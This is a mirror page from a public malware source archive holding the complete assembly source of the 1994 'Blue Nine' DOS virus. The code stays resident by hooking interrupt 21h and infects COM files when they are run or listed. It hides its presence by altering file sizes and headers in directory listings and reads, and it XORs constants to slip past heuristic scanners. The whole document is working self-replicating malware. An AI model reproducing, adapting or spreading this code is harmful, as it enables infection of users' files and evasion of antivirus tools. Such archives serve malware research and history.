mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 19:36:11 +00:00
577 lines
14 KiB
NASM
577 lines
14 KiB
NASM
; The Blue Nine virus... (c) 94 Conzouler
|
||
|
||
; Resident in conventional memory
|
||
; Com infection on load and execute
|
||
; Com infection on 11/12 (dir for short - TU)
|
||
; Size stealth on 11/12
|
||
; Size stealth on 4E/4F
|
||
; Infection check: seconds=4
|
||
; Installation check: get dos version with cx=666
|
||
; Redirection stealth on 3D/3F
|
||
; No TBScan flags (by hard heuristic as per version 6.26 - TU)
|
||
|
||
.model tiny
|
||
.code
|
||
org 100h
|
||
|
||
parasize equ ((offset virend - offset start) / 10h) + 1
|
||
bytesize equ parasize*10h
|
||
|
||
Start:
|
||
db 0E9h ; Near jmp to ResCheck
|
||
dw 03h
|
||
|
||
HostStartO db 0CDh ; Buffer to save hosthead
|
||
HostStartA dw 09020h ; int20 + nop
|
||
|
||
ResCheck:
|
||
push ax
|
||
; Perform installation check
|
||
mov ah, 30h
|
||
mov cx, 666
|
||
int 21h ; Dos would set cx to 0
|
||
cmp cx, 444 ; but virus will set to 444
|
||
je RestoreHost ; if resident
|
||
cmp al, 03h ; Don't go resident
|
||
jb RestoreHost ; If dosver less than 3.00
|
||
|
||
Install:
|
||
; Code to place virus in memory
|
||
mov bx, es ; Dec es to get MCB
|
||
dec bx
|
||
mov es, bx
|
||
|
||
mov bx, es:[3] ; Get size of MB and dec it
|
||
push cs
|
||
pop es
|
||
sub bx, parasize+2
|
||
mov ah, 4Ah
|
||
int 21h
|
||
|
||
mov ah, 48h ; Allocate MB to virus
|
||
mov bx, parasize+1
|
||
int 21h
|
||
|
||
dec ax ; Put MCB in es:0
|
||
mov es, ax
|
||
mov word ptr es:[1], 08 ; Change owner to system
|
||
|
||
push word ptr ds:[101h] ; Get delta offset
|
||
pop si
|
||
add si, 103h ; Get jmp pos
|
||
|
||
mov di, 16h ; Move virus to new block
|
||
mov cx, bytesize-6
|
||
rep movsb
|
||
|
||
sub ax, 0Fh ; Jmp to new block
|
||
push ax
|
||
mov ax, offset InstVec
|
||
push ax
|
||
retf
|
||
|
||
|
||
Org21:
|
||
db 0EAh ; Far abs jmp
|
||
o21 label
|
||
Org21ofs dw ?
|
||
Org21seg dw ?
|
||
|
||
|
||
InstVec:
|
||
; Code to install virus in vector21
|
||
mov ax, 3521h ; Save org21
|
||
int 21h
|
||
mov cs:Org21ofs, bx
|
||
mov bx, es
|
||
mov cs:Org21seg, bx
|
||
|
||
mov ax, 2125h ; Set Vector21
|
||
xchg ah, al
|
||
push ds
|
||
push cs
|
||
pop ds
|
||
mov dx, offset Vector21
|
||
int 21h
|
||
pop ds
|
||
|
||
|
||
RestoreHost:
|
||
mov si, ds:[101h] ; Get addr from jmp opc
|
||
add si, 100h ; addr to hoststarto
|
||
mov ah, ds:[si] ; Restore hosthead
|
||
mov ds:[100h], ah
|
||
inc si
|
||
mov ax, ds:[si]
|
||
mov ds:[101h], ax
|
||
pop ax
|
||
push ds ; Set es to host cs
|
||
pop es
|
||
push ds ; Save host address
|
||
mov bx, 100h
|
||
push bx
|
||
retf
|
||
|
||
icheck: ; Installation check
|
||
cmp cx, 666
|
||
jne Org21
|
||
mov cx, 444
|
||
retf 2
|
||
|
||
Vector21:
|
||
cmp ah, 30h ; Installation check?
|
||
jne chn1
|
||
jmp icheck
|
||
|
||
chn1: cmp ax, 4B00h ; Load and execute?
|
||
jne chn2
|
||
call cominfect
|
||
|
||
chn2: cmp ah, 11h ; find first/next (fcb)?
|
||
je fff
|
||
cmp ah, 12h
|
||
jne chn3
|
||
fff: call dos
|
||
cmp al, 0FFh
|
||
je chn3
|
||
jmp fcbsearch
|
||
|
||
chn3: cmp ah, 4Eh ; find first handle?
|
||
jne chn4
|
||
call dos
|
||
jnc found
|
||
retf 2
|
||
chn4: cmp ah, 4Fh ; find next handle?
|
||
jne chn5
|
||
call dos
|
||
jnc found
|
||
retf 2
|
||
found: jmp hdlsearch
|
||
|
||
chn5: cmp ah, 3Dh ; open handle?
|
||
jne chn6
|
||
call dos
|
||
jnc opened
|
||
retf 2
|
||
opened: jmp hdlopen
|
||
|
||
chn6: cmp ah, 3Fh ; read from handle
|
||
jne chnx
|
||
jmp hdlread
|
||
|
||
chnx: jmp Org21 ; Chain to dos
|
||
|
||
|
||
db ' <20><>- Blue Nine Virus by Conzouler 1994 -<2D><> '
|
||
|
||
|
||
cominfect proc
|
||
push ax
|
||
push bx
|
||
push cx
|
||
push dx
|
||
push ds
|
||
|
||
mov ax, 3d82h
|
||
call dos
|
||
jc ciexit
|
||
mov bx, ax
|
||
|
||
call appendcom
|
||
ciexit:
|
||
pop ds
|
||
pop dx
|
||
pop cx
|
||
pop bx
|
||
pop ax
|
||
ret
|
||
cominfect endp
|
||
|
||
|
||
appendcom proc
|
||
; infects the file handle in bx
|
||
|
||
mov ax, 5700h ; Get date time
|
||
call dos
|
||
and cx, 0FFE0h ; Mask seconds
|
||
or cx, 02h ; Set to 4
|
||
push cx ; Store date time
|
||
push dx
|
||
|
||
push cs ; Read head
|
||
pop ds
|
||
mov dx, offset HostStartO
|
||
mov ah, 3Fh
|
||
mov cx, 03
|
||
call dos
|
||
|
||
push word ptr HostStartO
|
||
pop dx
|
||
xchg dh, dl
|
||
cmp dx, 'MZ' ;Check if .exe
|
||
je apcomexit
|
||
|
||
mov dx, HostStartA ; Infection check
|
||
add dx, 3 ; Seek to jmp loc
|
||
xor cx, cx
|
||
mov ax, 4200h
|
||
call Dos
|
||
mov ah, 3Fh ; Read 2 bytes
|
||
mov cx, 2h
|
||
mov dx, offset Start
|
||
call dos
|
||
mov ax, 0b450h
|
||
cmp word ptr Start, ax ; infected?
|
||
je apcomexit
|
||
|
||
mov al, 02h ; Goto eof
|
||
call fseek
|
||
|
||
mov byte ptr ds:[100h], 0E9h; Assemble jmp
|
||
mov ds:[101h], ax ; jmp to eof + 3
|
||
|
||
mov dx, offset HostStartO ; Append virus
|
||
mov ah, 40h xor 66
|
||
xor ah, 66
|
||
mov cx, bytesize-3
|
||
call dos
|
||
|
||
mov al, 00h ; Goto start
|
||
call fseek
|
||
|
||
mov ah, 40h xor 66 ; Write jmp
|
||
xor ah, 66
|
||
mov dx, 100h
|
||
mov cx, 3
|
||
call dos
|
||
|
||
apcomexit:
|
||
pop dx ; Set date
|
||
pop cx
|
||
mov ax, 5701h
|
||
call dos
|
||
|
||
mov ah, 3Eh ; Close file
|
||
call dos
|
||
|
||
ret
|
||
appendcom endp
|
||
|
||
|
||
fcbsearch:
|
||
; called after successful find first/next on fcb
|
||
push ax
|
||
push bx
|
||
push cx
|
||
push dx
|
||
push si
|
||
push di
|
||
push ds
|
||
push es
|
||
|
||
call getdta
|
||
|
||
lodsb ; extended fcb?
|
||
cmp al, 0FFh
|
||
jne normfcb
|
||
add si, 7
|
||
normfcb:
|
||
mov di, si
|
||
add si, 8 ; to extension
|
||
lodsw
|
||
cmp ax, 'OC' ; is almost com?
|
||
jne fcbnocom
|
||
lodsb
|
||
cmp al, 'M' ; is definitely com?
|
||
jne fcbnocom
|
||
|
||
add si, 0Bh ; Get time stamp
|
||
lodsb
|
||
and al, 1Fh ; Mask seconds
|
||
cmp al, 2 ; infected?
|
||
jne fcbnotinfc
|
||
add si, 5 ; size-stealth
|
||
sub ds:[si], bytesize-3
|
||
|
||
jmp fcbexit
|
||
|
||
fcbnotinfc: ; infect file
|
||
in al, 41h ; Get timer (rnd)
|
||
and al, 03h
|
||
cmp al, 03h
|
||
jne fcbexit ; Good guy today?
|
||
|
||
push cs ; Convert to asciz
|
||
pop es
|
||
mov si, di
|
||
mov di, offset virend
|
||
push di
|
||
mov cx, 8
|
||
loop3: lodsb
|
||
cmp al, ' '
|
||
je loopx
|
||
stosb
|
||
loop loop3
|
||
loopx: mov ax, 'C.'
|
||
stosw
|
||
mov ax, 'MO'
|
||
stosw
|
||
mov al, 0
|
||
stosb
|
||
pop dx
|
||
push es
|
||
pop ds
|
||
mov ax, 3D82h
|
||
call dos
|
||
jc fcbexit
|
||
mov bx, ax
|
||
call appendcom
|
||
fcbnocom:
|
||
fcbexit:
|
||
pop es
|
||
pop ds
|
||
pop di
|
||
pop si
|
||
pop dx
|
||
pop cx
|
||
pop bx
|
||
pop ax
|
||
retf 2 ; Back to caller
|
||
|
||
|
||
hdlsearch:
|
||
; Called on successful find first/next on handle
|
||
|
||
pushf
|
||
push ax
|
||
push cx
|
||
push si
|
||
push di
|
||
push ds
|
||
push es
|
||
|
||
call getdta ; dta to es:si and ds:si
|
||
mov di, si
|
||
|
||
add di, 1Eh ; di to name
|
||
mov cx, 9
|
||
mov al, '.'
|
||
repne scasb ; scan for extension
|
||
jne hdlexit
|
||
xchg si, di
|
||
lodsw
|
||
cmp ax, 'OC' ; check if com?
|
||
jne hdlexit
|
||
lodsb
|
||
cmp al, 'M' ; is com?
|
||
jne hdlexit
|
||
|
||
xchg si, di ; check date
|
||
add si, 16h ; si to time
|
||
lodsb
|
||
and al, 1Fh ; mask seconds
|
||
cmp al, 02h ; seconds=4?
|
||
jne hdlexit
|
||
sub word ptr [si+3], bytesize-3 ; Size stealth
|
||
|
||
hdlexit:
|
||
pop es
|
||
pop ds
|
||
pop di
|
||
pop si
|
||
pop cx
|
||
pop ax
|
||
popf
|
||
retf 2
|
||
|
||
|
||
hdlopen:
|
||
; called after successful file open
|
||
pushf
|
||
push ax
|
||
push bx
|
||
push cx
|
||
push dx
|
||
push si
|
||
push di
|
||
push ds
|
||
push es
|
||
|
||
mov bx, ax ; Get sft number
|
||
call getsft ; sft to ds:si and es:di
|
||
jc hoexit
|
||
|
||
add si, 28h ; extension to ds:si
|
||
lodsw
|
||
cmp ax, 'OC' ; is com?
|
||
jne hoexit
|
||
lodsb
|
||
cmp al, 'M' ; sure?
|
||
jne hoexit
|
||
|
||
sub si, 1Eh ; check time
|
||
lodsw
|
||
and al, 1Fh ; mask seconds
|
||
cmp al, 02h ; infected?
|
||
jne hoexit
|
||
|
||
add di, 05h ; Mark infection in sft
|
||
or word ptr [di], 4000h
|
||
add di, 0Ch ; Change size in sft
|
||
mov dx, [di]
|
||
|
||
sub dx, bytesize-3
|
||
xor cx, cx
|
||
mov ax, 4200h
|
||
call dos
|
||
|
||
mov ah, 3Fh ; Load header
|
||
mov dx, si
|
||
sub dx, 02h
|
||
mov cx, 3
|
||
call dos
|
||
mov al, 0
|
||
call fseek
|
||
mov byte ptr [si+1], 31
|
||
|
||
sub word ptr [di], bytesize-3
|
||
|
||
hoexit: pop es
|
||
pop ds
|
||
pop di
|
||
pop si
|
||
pop dx
|
||
pop cx
|
||
pop bx
|
||
pop ax
|
||
popf
|
||
retf 2
|
||
|
||
|
||
hdlread:
|
||
; called before a read from handle (3F)
|
||
push si
|
||
push di
|
||
push es
|
||
push cx
|
||
push dx
|
||
push ds
|
||
|
||
call getsft ; check if marked in sft
|
||
jc hrnoti
|
||
|
||
add si, 05h
|
||
lodsw
|
||
and ah, 40h
|
||
cmp ah, 40h ; redirect?
|
||
jne hrnoti
|
||
cmp byte ptr [si+9], 31 ; redirect?
|
||
jne hrnoti
|
||
|
||
mov ax, [si+0Eh] ; Get offset and
|
||
cmp ax, 02h ; redirect only if it is
|
||
ja hrnoti ; in the first 3 bytes of file
|
||
|
||
mov cx, 3 ; See how many bytes to redir
|
||
sub cx, ax
|
||
|
||
add si, 6 ; offset to time/date field
|
||
pop es ; es to buffer
|
||
push cx ; save redir count
|
||
mov di, dx
|
||
rep movsb ; move header to buffer
|
||
|
||
mov ax, 4201h ; Skip 3 bytes
|
||
xor cx, cx
|
||
pop dx
|
||
push dx
|
||
call dos
|
||
|
||
pop di
|
||
pop dx
|
||
pop cx
|
||
push dx
|
||
add dx, di
|
||
sub cx, di
|
||
push es
|
||
pop ds
|
||
mov ah, 3Fh
|
||
call dos
|
||
add ax, di
|
||
pop dx
|
||
pop es
|
||
pop di
|
||
pop si
|
||
retf 2
|
||
|
||
|
||
hrnoti: pop ds ; perform normal read
|
||
pop dx
|
||
pop cx
|
||
pop es
|
||
pop di
|
||
pop si
|
||
mov ah, 3Fh
|
||
call dos
|
||
retf 2
|
||
|
||
|
||
|
||
getdta proc
|
||
push bx
|
||
mov ah, 2Fh ; Get dta
|
||
call dos
|
||
push es ; ds:si to dta
|
||
pop ds
|
||
mov si, bx
|
||
pop bx
|
||
getdta endp
|
||
|
||
|
||
fseek proc
|
||
mov ah, 42h
|
||
xor cx, cx
|
||
xor dx, dx
|
||
call dos
|
||
ret
|
||
fseek endp
|
||
|
||
|
||
getsft proc
|
||
push bx
|
||
mov ax, 1220h xor 666
|
||
xor ax, 666
|
||
int 2Fh
|
||
jc gsftexit
|
||
cmp byte ptr es:[di], 0FFh ; Invalid handle?
|
||
je gsftexit
|
||
|
||
xor bx, bx ; Get sft address
|
||
mov bl, es:[di] ; sft to bx
|
||
mov ax, 1216h xor 666
|
||
xor ax, 666
|
||
int 2Fh
|
||
jc gsftexit ; ok?
|
||
push es
|
||
pop ds
|
||
mov si, di ; sft-address to ds:si
|
||
pop bx
|
||
clc
|
||
ret
|
||
gsftexit:
|
||
pop bx
|
||
stc
|
||
ret
|
||
getsft endp
|
||
|
||
|
||
dos proc
|
||
pushf
|
||
call dword ptr cs:o21
|
||
ret
|
||
dos endp
|
||
|
||
virend:
|
||
end start
|
||
|